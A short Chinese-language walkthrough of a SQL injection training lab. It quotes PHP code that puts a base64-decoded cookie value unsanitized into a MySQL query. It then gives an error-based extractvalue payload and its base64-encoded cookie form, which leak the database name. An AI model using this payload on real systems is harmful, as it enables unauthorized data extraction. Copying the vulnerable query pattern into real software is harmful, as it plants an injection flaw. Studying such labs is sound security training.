本关和less20、less21是一致的,我们可以从源代码中看到这里对uname进行了"uname"的处理
$cookee = $_COOKIE['uname']; $cookee = base64_decode($cookee); $cookee1 = '"'. $cookee. '"'; $sql="SELECT * FROM users WHERE username=$cookee1 LIMIT 0,1"; $result=mysql_query($sql); if (!$result) { die('Issue with your mysql: ' . mysql_error()); }
可以构造payload:
admin" and extractvalue(1,concat(0x7e,(select database()),0x7e)) #
Payload进行base64编码后,修改cookie再进行提交
Cookie: uname=YWRtaW4iIGFuZCBleHRyYWN0dmFsdWUoMSxjb25jYXQoMHg3ZSwoc2VsZWN0IGRhdGFiYXNlKCkpLDB4N2UpKSAj
可以看到数据库名为security
其他的payload请自行发散思维进行构造。